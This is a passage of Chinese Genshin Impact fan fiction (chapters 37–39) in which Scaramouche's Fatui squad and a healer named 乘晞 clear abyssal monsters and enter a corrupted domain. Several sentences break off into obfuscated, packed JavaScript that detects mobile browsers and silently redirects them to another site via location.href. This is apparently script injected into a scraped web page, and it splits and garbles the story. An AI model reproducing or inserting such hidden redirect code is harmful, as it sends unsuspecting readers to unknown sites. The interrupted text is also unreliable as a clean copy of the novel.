乘晞已经先他一步,学习自家上司的优良品格,将对方也拉黑了。 * 翌日,乘晞起得很早,吃过饭收拾好了自己。 他走出门与众人汇合,驻地其他人也已整装待发。 在昨晚的线上会议中,散兵接到了清缴深渊魔物的任务。 至冬境内偶尔有深渊势力活动,被深渊污染的魔物会四处破坏,愚人众收到线报后,会立刻派出士兵清理。 就在昨日,先遣队成员传回消息称,在某处山崖遭遇十分棘手的深渊魔物。 他们一路奔逃,好在附近有愚人众士兵的驻扎点,众人与之苦战许久,终于将魔物击退,而他们也受伤了十几人。 战斗中,有人用留影机拍摄仓促拍摄了画面,执行官们回放了那段并不清晰的视频,高度怀疑出现的东西是某种深邃拟造物,具体类属难以辨认。 这种级别的魔物,普通兵士与之对上毫无还手之力,且魔物仅仅被击退而非被清缴,不知流窜到了什么地方,又会造成多少伤害。 更重要的是,深邃拟造物源自纯然的深渊力量,昭示着深渊侵染的极高风险。 它们的出现就意味着,虚界与现世之间出现裂隙。愚人众需要追根溯源,以免更多魔物乘隙而入。 按照先遣队员汇报的信息,一行人来到了那处山崖。 这里地处偏僻,鲜有人烟。路面崎岖不平,积着厚厚的雪。当初先遣队员们留下的足迹,早已被覆盖得一干二净。 随行散兵的队伍自然各个是精兵良将,全员都有神之眼,乘晞作为唯一一个没有元素力的人,被保护动物似的安排在队伍中央。 当然,有面板背包里的魔药在,乘晞事先提升了自己的体力和抗寒属性,以免跟不上旁人的进度。 在林间徒步并不轻松。 背阴处积雪松散,埋藏了枯枝断叶,每迈出一步,都会深深的陷入积雪;向阳处则由于日光的照射,表层的积雪融化又凝固,结成一层的冰霜,又被新落下的雪花覆盖,踩上去会打滑。 但这些都难不倒经验丰富的黑衣人们。一位冰神之眼持有者催动元素力,为众人的鞋底凝出了延展而成的冰元素。增大与地面的接触面积后,可以使人免于陷入积雪,同时下盘更稳,也降低了跌倒的风险。 乘晞十分新奇,在下坡路兴致勃勃的研究如何加速与减速。 有元素力的加持,这简直是plus版滑雪体验。 队伍最前方在一颗到底的雪松旁停下。据先遣队员所言,这里就是他们首次募集深邃拟造物的地点。 当时,因太过受到惊吓,队员的惊呼声音惊动了魔物,魔物挥动伪足,顷刻间切断了旁边的松木。 黑衣人们纷纷减速停下。而乘晞原本在飙滑雪板,见状匆忙刹住,刹得太猛整个人向前倒去。 眼看就要发生多米诺骨牌一个撞倒一群人的惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654993|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案,珍妮丝与杰卡德关键时刻出手,一左一右的把人给扶住,卸掉了乘晞的惯性。 先前的魔物被击退后,不知道逃往了什么地方,但既然这里是它最初出现的位置,众人便以此为圆心展开搜寻。 不过,在荒山野岭里找魔物,岂不是大海捞针? 乘晞心中才升起这样的疑问,就见一位黑衣人取出个巴掌大小的装置,另一人催动符文,解除了装置的某种禁制后,显露出里面罗盘模样的东西。 说是罗盘也不准确,底盘上确实标有方向和角度,中央却是个透明的护罩,在护罩里面充当指针的,是一团紫黑色的流体。 那团流体不断翻滚着,在护罩内来回冲撞,像个永动机似的不知疲倦。 “那是深渊样本的凝练提取物。”珍妮丝向乘晞小声解释。 深渊力量之间存在不同程度的相互感知,而愚人众利用这一特性,对深渊物质进行处理后,将其改造成探测装置的指示仪。 “它想从那个装置里逃出去?”乘晞问。 珍妮丝觉得对方的形容很有意思,“这样没错。但通常来讲,它应该充当一个尽职尽责的指针。” 乘晞点点头,“说明……目前附近的魔物不少。” “好眼力。”珍妮丝笑。 紫黑流体看似在透明罩内部横冲直撞,但如果仔细观察,便能发现它的运动存在某种规律。 流体向某几个固定的方向依次冲撞,且每次冲撞的力度大小不一,表明附近多个方向都存在可被感知的深渊力量。 简单商议过后,众人兵分几路,前往不同方向寻找魔物。乘晞自然跟在散兵一队,探测罗盘也被塞到他手中。 乘晞握着罗盘转来转去,调整前进的方向。他发现,随着走出的距离越来越远,罗盘朝某个方向的指向也越来越明显。 在流体绷紧成一条直线的时候,前方的黑衣人出手了。 乘晞只见杰卡德召出法器,对着前方接连打出三道水元素攻击。 他才要疑惑对方为什么对着空空如也的地面释放元素力,就发现第三道元素力与瞬间出现的紫色护盾撞击在一起。 那是一只雷系深渊法师,而对方预判了深渊法师的瞬移落点。 乘晞第一次如此近距离的观察这种魔物。 头戴面具身披斗篷细长耳朵毛绒绒的家伙,被做成游戏周边时还有几分可爱,但可爱仅存于次元之外——乘晞看着受到落雷降下后瞬间焦黑的地面,谨慎的后退了一步。 几乎在水元素击中护盾的后一秒,就有几道不同的元素力接连攻来。 为了防止深渊法师再次瞬移,黑衣人们集中火力,乘晞目瞪口呆的看着深渊法师的元素护盾瞬间破碎。 伴随着低哑的嘶鸣,深渊法师的躯体化为尘埃。 这支小分队除去全程没有出手的乘晞和散兵外,只有三名黑衣人,但清缴起魔物来却如同砍瓜切菜。 几名成员显然相互熟悉,作战的配合也十分紧密。 他们一路畅通无阻的深入山林,乘晞有些羡慕的跟在后面。 散兵偏头打量他:“你也想上手?” 乘晞点点头。 作为队伍中的治疗师,他无需肩负清理魔物的作战职责,但好歹也跟着散兵学习过一段时间,只在旁边观战令乘晞有些心痒。 不过乘晞也十分清楚自己的实力,如果他单打独斗的话,能勉强和成年史莱姆打成平手,在实战中不拖后腿就算了,真要加入战局的话,还需其他成员分心保护他不受伤害,反而为别人添麻烦。 看着银发少年纠结的神色,散兵猜到了对方心中所想。 “你没必要担心这个。” 他勾勾手指,乘晞立刻凑了过来。 淡紫色的雷元素从散兵掌心溢出,顺着指尖流淌,蔓延到乘晞身上。 乘晞安静的站在原地,带着几分好奇,等待对方动作。 37.37 元素力逐渐扩散,几秒过后,散兵收了手。 雷元素仿佛有自己的意识一般,均匀的将乘晞包裹在内,他整个人都镀上了一层浅浅的紫色光芒。 乘晞颇为奇妙的转动关节,“这是?” “护盾。”散兵言简意赅。 乘晞:“哇。” 在他的认知中,元素盾通常是圆球形或者多面体球形柱形,隔离出密闭的空间将受保护对象包裹在内。 这样贴合肌体的元素盾,他还是第一次见。 瞥见这一幕的队员:“哇。” 他还要说什么,就被杰卡德捂住了嘴。 另一人循声看过来,才“哇”到一半,也被早有预料的杰卡德制止。 于是杰卡德一手一个黑衣人,三人鬼鬼祟祟的挪到了队伍后方。 看着散兵和乘晞前行的背影与他们拉开距离,杰卡德松开手。 “大人居然给他套这种盾……”黑衣人感叹,“也太奢侈了吧。” 只有对元素力的操控水平达到一定程度后,才能够制造这种类型的元素盾——不同于普通的元素护罩,单次施放元素力使盾成型,随后等待其被磨损消耗即可,这种元素护罩需要释放者始终分心维持,根据需要随时输注和调整元素力。 这样的护盾更加坚固、更加灵活,但维持起来,难度也呈指数倍增长。 放在他们自己身上,除非深入危险等级高的遗迹或者下深渊探索,没有人会费心使用这种元素盾。 杰卡德摊手:“没关系。大人开心就好。” 执行官大人有的是元素力,人家愿意怎么用就怎么用,“但你的关注点有点偏了吧。” “对啊,”另一同伴道,“重点不应该是套盾的过程太丝滑了吗?” 黑衣人茫然,“那怎么了,操纵元素力的那可是执行官大人。” 杰卡德无语,直接把自己的水元素往对方身上甩。 黑衣人立刻跳开,“你搞什么!” 他抱着手臂,压下自己的鸡皮疙瘩。 不属于自己的水元素轻柔又紧密的覆过来的感觉十分诡异,黑衣人脑子后知后觉的转过弯来。 “他刚才试图给你套这样的盾,”同伴解释杰卡德的所作所为,“结果显而易见。” 护盾贴合肌体,也意味着全方位与元素力接触。 于他们而言,任由不属于自己的元素力覆盖自身,这是全然无法接受的事情——甚至身体会条件反射的排斥,更别说让别人的元素力将自己完全包裹了。 “单纯的不排斥对方还不够,”黑衣人越想越觉得不可思议,“这需要全然的信任对方、毫无保留的接纳对方……就算是我老婆,我也做不到这一点吧……” 杰卡德翻了个白眼,“你有老婆?” “没有。” “……” 三人推推搡搡,注意到不远处有丘丘暴徒,便一拥而上,打怪去了。 他们以为自己的议论声压得足够低,但散兵听觉灵敏,那些话尽数进入了执行官的耳朵。 散兵脚下一顿。 若非几个话多的下属没忍住提起,他也忽略掉了这点。 现在回想起来,早在第一次带乘晞回到驻地那天,他就用元素力带着对方赶过路。和今天一样,乘晞接收到得十分丝滑顺畅。若非那时情况紧急,他本该对此有所察觉的。 散兵看着银发少年的背影。 “全然的信任、毫无保留的接纳”。 他像是被这样的形容烫到一般,迅速移开了目光,试图以此清空脑中的思绪。 几步之外,乘晞新奇的攥攥手指,又摸摸自己的手臂。 偶尔会有一点雷元素带来的微弱的酥麻感觉,但完全在他的可接受范围之内。 路上偶有横生的枯枝,乘晞之前会随手敲碎,现在却改成避着走。地上遇见尖锐的石砾,他一律踮着脚从旁边绕过去。 ——这护盾可是散兵的元素力!绝对不能被任何东西破坏,留下划痕也不行! 打头阵的黑衣人已经扫荡了第三波丘丘人,这边乘晞却始终没有加入战斗。 散兵本以为有了保护后乘晞能放开手脚,结果这家伙却越发小心翼翼:“……” 他“啧”了一声,我给你套的是元素盾,不是瓷器。” 散兵对护盾的牢固程度加以形象说明:“和岩龙蜥对对碰都没问题。” 乘晞星星眼:“哇!” 被银发少年这样专注的仰视着,散兵忽然有些不自在。 余光注意到不远处跑出来的丘丘人,他一转一推,把乘晞丢到了丘丘人面前。 丘丘人举起木棒:“ya!” 被散兵丢出去完全出乎乘晞意料,他躲闪不及,被丘丘人一棒敲在肩膀上。 但预想中的疼痛丝毫没有到来,撞击感过后——啪嗒,丘丘人的木棒断了,上端一截掉在地上。 丘丘人愣在原地,大概从没有遇到过这种情况。它并不灵光的大脑思考着——这年头,难道岩龙蜥也能长成人类的样子了? 反应过来的乘晞召出天空之脊,将丘丘人掀翻在地。 灌木丛后出现另一只丘丘人,前来支援。 乘晞挥动长枪,与魔物过了几招后,将丘丘人的火把挑落。 制服了两只丘丘人,也算是热过身,乘晞逐渐进入了状态。 在野外真实的环境中与魔物对战,与在训练场里对着靶子练习大不相同。 他也想清楚了,既然散兵费心保护他,为的就是让他动手尝试。自己如果像先前那样束手束脚,反而会适得其反。 乘晞朝前跑去,追上黑衣人们的步伐。几位黑衣人也很是默契,带着对方一起打怪。 这边的魔物虽然被深渊力量侵染,但他们对付起来并不吃力,且能分出心思关注乘晞的状态。 在战斗方面,黑衣人的经验比乘晞丰富很多。他们将魔物的威胁削弱到乘晞能够应对的程度,再不着痕迹的把魔物逼到对方的攻击范围内。 乘晞作为实战新手,暂时还不具此眼力,看不出自己在被喂怪,只是觉得自己打得很开心。 伴随着长枪挑刺之声,一个接一个魔物在乘晞面前倒下,他挥枪的动作也逐渐变得顺畅。 走在末尾的散兵将一切看在眼里,心说这几个属下虽然话多,但在做正事上也还算靠谱,回去给他们提升外勤补助额度。 又一波魔物被清缴,最后剩下一只木盾丘丘暴徒。 木盾是几种丘丘暴徒中比较容易对付的类型,黑衣人们正犹豫要不要给乘晞上手的机会,就听散兵道,“让他打。” 杰卡德当即意会,对着木盾打出两道交叉的元素力,抽身退到了一旁。 面前是巨人一般的魔物,而身旁的同伴不知道什么时候全退开了,乘晞有些发怵。 他正要犹豫,就听身后传来散兵的声音,“换单手剑。” 执行官的斗篷柔软的扫过乘晞的后颈,乘晞忽然就安心下来。 他将手中的武器更换,散兵沉声:“集中注意。” 乘晞定了定神。 丘丘暴徒已经完成了蓄力,朝他冲撞而来。 乘晞掐准时机,向旁边闪身避过。 他飞速思考着,自己没有元素力,与魔物的对战便是检验力量的时刻。 乘晞猫着腰靠近,从侧面发动偷袭,一剑砍在木盾上。 魔物凝出的木盾坚硬无比,震得乘晞手腕有些麻。 被偷袭的丘丘暴徒挥盾砸过来,乘晞迅速跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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轰—— 毫无意外的,银色羽毛球又飞起来。 这次,散兵拎人的动作都没那么温柔了:“你在干什么。” “怎么会没用呢。”银发少年看上去十分不解,正扶额沉思。 散兵:……? 乘晞喘息片刻,重新冲了上去。 这回除了“羁绊啊”,他还把什么“友情啊”、“未来啊”加了进去。 轰—— 轰—— 梅开不知道几度。 已经麻了的散兵拎着人后颈没松手。 “不应该有奇迹发生吗?”乘晞依然在怀疑世界。 散兵:“。” 这家伙到底在失望什么? 不信邪的乘晞还要尝试,才迈出去半步,就被散兵拽了回去。 丘丘暴徒又持盾冲了过来,乘晞条件反射的握紧剑,摆出防御姿态。 魔物还在数米之外,散兵一抬手。 丘丘暴徒倒飞了出去,重重砸在远方,震落了树梢的积雪。 树林很快变得安静,连挣扎声音都不复存在,那魔物大概已经气息全无了。 看热闹的几位黑衣人挤眉弄眼,刚要相互说些什么,就见散兵回过头,精准锁定了他们所在的位置。 几人踩树枝的动作都变得有些拘谨。 散兵拎着乘晞衣领,示意杰卡德过来,“你给他治治。” 杰卡德迟疑:“大人,他应该并没有受伤。” 况且乘晞身上有执行官大人亲手凝成的元素护盾在,元素力的操控者能够实时感受到受保护对象的状态,对方应该最清楚乘晞的情况才是。 “不用不用,”乘晞也附和道,“我没受伤。” “是的大人,”杰卡德也说,“他应该没有什么地方需要被治疗——” 散兵微笑:“治治脑子。” 38.38 之后前行的一段时间里,沿路的魔物都少得可怜。 清缴任务比想象中要轻松许多嘛。这个想法才出现,乘晞就发现怀里的探测罗盘颤抖起来。 他拿出一看,罗盘内部流体的指向在此刻变成了一条笔直的线。 不远处,半人高的紫黑色能量体从地下冒出,突兀的拦住前路。 队员们迅速退开,以避免被逸散的侵蚀伤害,乘晞也被散兵带到了安全的位置。 众人纷纷亮出武器,进入戒备状态:“深邃拟造物,来了。” 乘晞盯着那处异变,掌心下意识攥紧。 难怪先前路遇魔物的数量锐减,原来有更厉害的在这里等着他们。 接紫黑色球体接连从地下冒出,随后魔物于虚空中显形。 不规则的圆形躯体被成弧度排列的花瓣状物体环绕,四周折叠的叶片状伪足以十分扭曲的角度徐徐展开,在戳碰到地面的时候,发出令人汗毛直竖的摩擦声。 这是一只深邃拟覆叶。 魔物与紫黑的能量团时隐时现,朝着众人围拢而来。 乘晞精神高度集中,在深渊力量浮现时迅速避开。 分明隔了一段距离,但在注视那团扭曲的紫黑颜色时,他还是感到有些眩晕。 伴随着破空声响,颜色各异的元素力已经袭向了魔物。 黑衣人们拥有与之作战的经验,灵活的避开能量团,向前突进,将深邃拟覆叶的前路阻拦。 这种魔物具有特殊的防御属性,具备暗界力护盾。在破盾之前,它们的元素抗性趋向于无穷,只有施以足够程度的元素伤害,才会使其暴露弱点。 即便是神之眼持有者与之对抗,也会受到不小的消耗,因而在遭遇时,冒险家们大多会选择团队作战。 愚人众还有一种方式,便是使用邪眼。邪眼调动的能量不属于七种元素中的任何一种,以彼之矛攻彼之盾,在应对深渊中往往事半功倍。 深邃拟覆叶先后模拟了几种不同的魔物形态,一只模拟形态消散后,波动的能量团里又会孵化出新的一只。 随着众人将其一一剿灭,魔物大概也察觉到了敌人的难缠,不再隐匿于能量团中,而是接二连三的出现。最后,同时有四只深邃拟覆叶在场。 杰卡德与另外两位同伴巧妙的吸引魔物,将它们聚在一起。风元素染上杂糅的色泽,将元素反应扩散了整圈。 散兵站在乘晞身边,并没有加入战局,只是偶尔在下属们攻击的间隙里,补上几道雷光。 等这边的深邃拟覆叶被清理得差不多了,不远处也发来了讯号。分散开的其余小队都完成各自的清缴,来这边汇合了。 人全到齐后,不同方向的成员依次汇报了遭遇的魔物与清理情况。有两队同样遭遇了深邃拟覆叶,但数量都不及乘晞所在的这边多。 听到没有一个人在清缴过程中受伤,散兵略略点头。 “这么厉害!”乘晞感叹,同时又觉得自己这个治疗师有些无用武之地。 “那当然了,也不看看我们的执行官是谁,”杰卡德与有荣焉道,“我们可是散兵大人带出来的。” 散兵面无表情的瞥了他一眼,杰卡德立刻消音。 有一只队伍在与深邃拟覆叶对抗时,还没来得及将魔物消灭,就叫那东西逃跑了。 众人沿着魔物逃窜的方向搜寻过去。 乘晞走在散兵身边,脚步有些轻快。 残存的魔物只剩一只,他们的队伍还现在集结了全部战力,看来用不了多久,这次魔物清剿任务就能圆满完成了。 前方出现一片浓雾。 散兵示意打头阵的黑衣人停下,自己走上了最前面。 乘晞想要跟过去,被散兵制止。见其余队员们的神色都严肃起来,乘晞便老实待在队伍中央。 “这种天气、这样的地势,都不该有雾。”杰卡德向乘晞解释,“这片雾气绝对有古怪。” 珍妮丝打量着乘晞的脸色,“你在担心执行官大人?” 乘晞看着散兵没入浓雾的背影,点了点头。 珍妮丝觉得有意思。 在她们眼中,执行官大人遇神弑神遇佛弑佛,是实力强大到无所不能的存在。 如果探路的是自己的同伴,她会升起紧张或者担忧的情绪,但那是执行官大人,她只有敬重和信服。 可在身旁的银发少年眼里,就算执行官大人,仿佛也只是一个需要被担心的同伴。 没多久,散兵的身影重新出现。 他打了个手势,众人便跟上他的脚步,踏入浓雾之中。 雾气遮掩下,能见度非常低,众人都拉进了彼此之间的距离,以免失散。 乘晞身上还笼罩着散兵留下的元素力,雷元素在雾气中微微闪着光,让他成了队伍中物理意义上众星拱月的存在。 执行官不知道有什么辨别方向的特殊能力,在视野极度受限的情况下,行路速度却没慢多少。 众人被散兵带着的这一路畅通无阻。 再跟随对方拐了几次,前方雾气渐渐淡下去。 乘晞快步冲出了雾气。 他回头去看,身后的那片雾依旧浓得化不开。 黑衣人们再次清点人数,确认无人掉队。 “刚刚我们是路过了一片沼泽吗?”乘晞回忆着行路过程中的某段,脚下的触感黏腻,每踩一次都会下陷,但在雾气中什么都看不清楚。 “树林里怎么会有沼泽,”珍妮丝无情戳破了他的猜测,“那是魔物。” 在他们穿越雾气之前,来过这里的人只有散兵,是谁做的不言而喻。 没反应过来的乘晞:“魔物还有沼泽形态的?” 珍妮丝解释:“魔物残肢。” 乘晞:。 “好没有情调,”杰卡德插嘴,“应该叫魔物碎片。” “集齐多少个碎片,召唤深渊黑泥之类的。” 乘晞想到了更贴切的形容:“魔物酱。” 珍妮丝、杰卡德:“……” 好了,这下他们午餐晚餐都不想吃任何有酱的东西了。 成功扳回一局的乘晞换了话题,“既然魔物已经被消灭,我们就可以准备返程了?” 杰卡德用一种“年轻人还是太年轻”的眼神看过来:“消灭?那只是热身运动——接下来才是硬菜。” 前方的山石中,掩映着一扇石门。 石门四周缭绕着黑紫的颜色,将原本的纹路扭曲,看起来十分不详。 “这里,大概就是深渊魔物降临的‘通道’所在。” 提瓦特境内存在许多秘境,有些是天然形成,有些是人为制造。天然形成的秘境往往历史悠久,可能与古遗迹相关。 秘境存在的地点五花八门,开启方式也不尽相同,有的需要输注元素力开启大门,有的则需要满足设定的特殊条件。 以往大多是冒险家外出游历,偶然发现了秘境的位置,才口口相传被人知晓。稍微有些常识的人都清楚,对于未知的领域不可贸然探索,除非有足够的把握,但总有各种人因为各种原因,或是好奇心作祟、或是碰运气牟利,将生命永远的留在了秘境里。 至冬国近年来开始推动秘境的汇编与管理,将已被人发现的秘境登记在册,但碍于官方人手所限,仅对秘境开启难度和危险程度进行过评估,对于风险等级难以判别的秘境加强封印,并未进行更深的勘探。 这处秘境地处隐蔽,在此之前不曾为人所知。很可能由于经年累月,内部环境变得不稳定,逐渐被深渊力量向外渗透。 而侵染达到一定程度后,魔物破开了秘境与外界的通道,游荡至外界,为祸人间。 乘晞看着那扇若隐若现的石门,“所以我们今天的压轴任务,是去清剿秘境内部的魔物?” “视情况而定。”杰卡德显然很有经验,“除非里面的深渊魔物很少,但就我们今天遭遇过的那些而言,完全清剿的概率约等于零。” “只能尽可能的除掉魔物,用愚人众的特殊封印阻断通道,同时将秘境所在地加入就近岗哨的巡逻路线,定期派人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682855|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查探秘境情况,如有恶化再次清理。” 乘晞点点头。 人类与深渊的角力,是一场漫长的拉锯战,从来都不可能短时间内分出胜负——反而像在某种「法则」的默许之下,达成了微妙的平衡。 “还有,不能忘记采样。”珍妮丝补充,“执行官大人的队伍,一直以来都为愚人众有关深渊的研究提供最直接的物质基础。” “等进了秘境你就知道了,这次我们的同伴可是带了不少仪器在身上的。” 看着众人各自分工明确,乘晞也认真点了头,“我会做好治疗工作,保证你们任务顺利。” “不是‘你们’啦,”珍妮丝与杰卡德从左右将乘晞揽在中间,“是‘我们’。” 前方的散兵朝他们的方向回了下头。 珍妮丝与杰卡德立刻走上前。 所有神之眼持有者在石门旁围拢,共同输注元素力。 咔嚓声音过后,石门缓缓偏移,露出了一条缝隙。 缝隙之内,是不可见底的深黑色泽。 秘境开了。 散兵低声对乘晞道,“如果感觉不舒服,不要硬撑。” 乘晞应了一声,跟随队伍踏入了秘境大门。 秘境内部光线昏暗,向上抬头看不到天空,只有一望无际的暗色。 地面和墙壁上爬满了不知名的藤蔓,这种植物的叶片发出微弱的蓝光。 乘晞一进来就有些头晕。这种晕眩感并不强烈,但犹如附骨之疽。 好像有什么看不见的东西,正在抽走他体内的力量。 “这里的深渊侵蚀程度不低。”杰卡德轻声判断。 “小心行事。”散兵道。 等视网膜逐渐适应了黑暗的环境,乘晞向前方望去。 这里似乎曾有过古建筑,但随着时光的冲刷,早已在岁月中化作断壁残垣。 空气有些潮湿,更远的地方显得朦胧,看不真切。 地面上有什么半透明的东西在盘旋,凝神细看,是黑紫色的烟。 前行片刻后,有队员点亮了触媒。 他们大致探索了附近的小片区域,尚未发现威胁。但为保险起见,照明触媒选择的晶石是光线相对较弱的那种,以免惊动暗处可能潜伏着的存在。 乘晞给自己服了些提神药剂,不适感终于有所缓解。 前方地面上,黑泥涌动。 众人轻手轻脚,正准备从旁边绕过,就见一只深渊法师突兀出现。 与此同时,乘晞面前的空气凭空撕裂,闪现出第二只深渊法师。 骤然被魔物贴脸,乘晞下意识唤出武器。 深渊法师的护盾坚固,乘晞的剑刃并不能将其刺穿,反而连同持剑的他一起被反弹了出去。 周围的队员迅速出手,应对魔物的偷袭。 按照原本的队形,乘晞位于队伍中间,是个被众人保护的位置。但那魔物不知道是不是专挑弱处,竟直接选中乘晞攻击,速度快得令人猝不及防。 好在队员们也不是吃素的,配合打出攻击,将深渊法师清理。 乘晞注意到,比起在山林中遭遇的那些魔物,秘境内的这些危险程度更高,队员们清理的时间都拉得更长一些。 他还记得自己被爆开的深渊力量反弹的那一瞬。虽然没有与魔物直接接触,但持剑的手还是有些酸软,迅速流失了多半力量。 乘晞找出体力药剂服下,重新攥紧剑柄。 散兵来到了他身边,“还好么?” 乘晞点点头。 散兵便轻轻催动元素力,将先前施于对方身上的护盾检查一遍。 黑衣人们纷纷看过来,又纷纷默契的移开视线,开始相互挤眉弄眼。 那股力量在消散的感觉又出现了。 乘晞掐了一下自己的手指。疼痛令他清楚的感觉到,这次的不适感比之前都强烈。 众人也对此有所感知,这是被动施加负面状态的前兆。 散兵收了手,眼神暗下来。 “退后。” 39.39 其余成员默契的分散站位,将乘晞保护在中间。 空气中撕开深紫的裂隙,通体灰褐的魔物出现。 它们全身由干枯的骨架构成,骨片之间并不连接却可以相互带动。 是几只兽境猎犬。 这些魔物神出鬼没,拥有似狼非狼的头颅,却远比狼要难缠许多。凡是进入他们攻击范围的人类,都会无法避免的被他们的能力侵蚀。 散兵击退闪现到乘晞附近的那只,拦下了银发少年准备给自己再灌一瓶魔药的动作。 在魔物被清理之前,这种负面状态是无法被根除的,魔药喝下去也是杯水车薪,反而会无底洞一般对自身造成额外消耗。 远处传来窸窣声响,黑暗中显现了数米高的庞大虚影。 那虚影不断舒展再扭曲,像植物,像动物,又像是某种模拟二者形态的结合体。 散兵纵身跃起,落入黑暗,朝着那边的未知魔物而去。 乘晞停在原地,关注着近处的战局。 兽境猎犬的攻击没完没了,它们的走位和闪现过于刁钻,好不容易被灭掉一波,虚空中又会出现新的一批。这些魔物还会不断召唤兽境幼兽,扰乱人类的视线。 随着侵蚀的负面影响加重,作战难度直线上升。杰卡德催动水元素,一端在手腕上环绕成水链,另一端环绕上身旁的队友。 水链不断伸长延展,在黑衣人队伍中交织蔓延,织成一张浅蓝色的网。 这是杰卡德的治疗技能,为了让队友持续作战,他需要不断提供治疗以与魔物的侵蚀形成对抗。 水链连接的成员越来越多,位于网络中心的杰卡德也感到了力不从心。 他原本就在兽境猎犬突袭时受了伤,但也无暇顾及自己,因为每晚一刻提供治疗,队友的状态就会被削减更多。面对十分难缠的兽境猎犬,他不能不分秒必争。 一阵朦胧的白光闪过,是乘晞出现在他身旁。 视野逐渐变得清明,杰卡德察觉到自己的伤口不再疼痛,状态也恢复了许多。 乘晞冲他点点头,转身向另一位负伤的队员走去。 乘晞不断调用面板,按照伤情从重到轻进行治疗。 光芒闪动,黑衣人们原本迟滞的动作,逐渐重新充满力量。 他们彼此交付了后背。 几次兽境幼兽都要杀到眼前,正在治疗的乘晞也一动没动,因为下一秒就会有战士们的武器从其他方向挡过来,为他击退魔物袭来的前爪。 水蓝色的链条也连接上了乘晞。 杰卡德持续为所有人削减侵蚀,乘晞则不断穿梭,治疗负伤的战士。 又一波兽境猎犬被击败,这次没再出现新的魔物。 众人终于舒了口气。 “太恶心了这些东西……” “没完没了,简直阴魂不散。” “谁有绷带借一下,我忘带了。” 大家都被消耗了不少,虽然没人受到致命伤,但队员们或多或少的挂了些彩。 除了乘晞。 银发少年周身依旧萦绕着散兵留下的元素力。有这层元素力的保护,乘晞只受到了侵蚀状态的影响,他也已经给自己治疗过。 杰卡德将一位伤得最重的队员推给乘晞,他则负责其余同伴的治疗。 那位队员第一次感受乘晞的治疗魔法,赞不绝口。 乘晞确认对方脱离危险后,走到原地修整的珍妮丝身边。 他没忍住问出了自己的好奇:“你们怎么不给自己套盾?” “兽境猎犬的补分伤害可以无视元素盾,”珍妮丝回答,“与其浪费那些元素力凝盾,不如把元素力化作攻击,打出更多的伤害。” 乘晞敬佩的点点头。黑衣人们作为战士,将如何更高效率的击败魔物放在了考量自身之前。 “那为什么,”乘晞指了指自己,“你们不套这样的盾?” 珍妮丝用一种不可理喻的眼神看向乘晞。 但考虑到对方不是神之眼持有者,对这方面的常识可能比较缺乏,她半是无语半是好笑道,“你以为,我们是不想吗……” 从珍妮丝的讲解里,乘晞才明白散兵留在他身上的元素盾有多么金贵。 放在这些战士身上,他们也只有在深入深渊物质中采样时,才会给自己套上这样的保护。将元素力控制在这样的状态极为困难,士官们做不到一心二用。同时兼顾与魔物的对战,也就执行官那个级别的人物,才能用起来得心应手了。 乘晞戳了戳自己的手臂,元素力像有知觉那样聚在他指尖,随后又涟漪般散开。 “散兵大人现在——” 他抬脚要走,却被珍妮丝拦下,“别去。” 且不说他们不清楚散兵去了哪里,单从那时隐约显露的虚影来看,那个魔物也全然不是他们能够应对的级别。 “别小瞧了执行官大人的力量,”珍妮丝道,“他可是战无不胜、攻无不克的。” 话虽然这样讲,乘晞还是不可避免的对未知感到忧心。 他还想再说什么,就见不远处的黑暗中出现了熟悉的身影。 乘晞立刻奔了过去。 由于起身太猛,眼前有一瞬间的发黑,他在地上绊了一下,拉近与对方的距离后才放慢脚步。 散兵气息平稳,看不出刚刚经历过多么剧烈的战斗。 他衣角沾了些泥,发丝有些乱,手中提着个容器模样的东西。 “没受伤吧?” 这话两人几乎是同时出口。 乘晞摇摇头,同散兵一道折返回去。 有士官接过散兵手中的容器,将其装入一个精密的箱盒内固定锁好。 容器内是散兵采集的样本,每次遇见未知的深渊魔物时,他都会在清剿过程中留存样本,以便愚人众的后续研究。 修整过后的队员们也纷纷拿出取样工具,对秘境内部逸散的深渊物质进行采样,带回基地评估此处的深渊侵蚀程度和渗透情况。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718507|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黑衣人们很快完成收尾工作,在秘境内部不起眼的位置,留下一个监测装置。 这种装置能够实时感知魔力波动,如果再有魔物出现,也能将讯号传回驻地。 确保安放妥当,众人提着收获的样本,依次退出秘境。 走出石门后,乘晞注意到散兵小臂的一侧有抹暗红。 “你受伤了?” “无所谓。”散兵不怎么在意。 在战斗中受伤,于他而言是家常便饭。 清缴任务中危险程度极高的魔物,永远都是他单独面对。这些年来,他早已习惯了单打独斗。 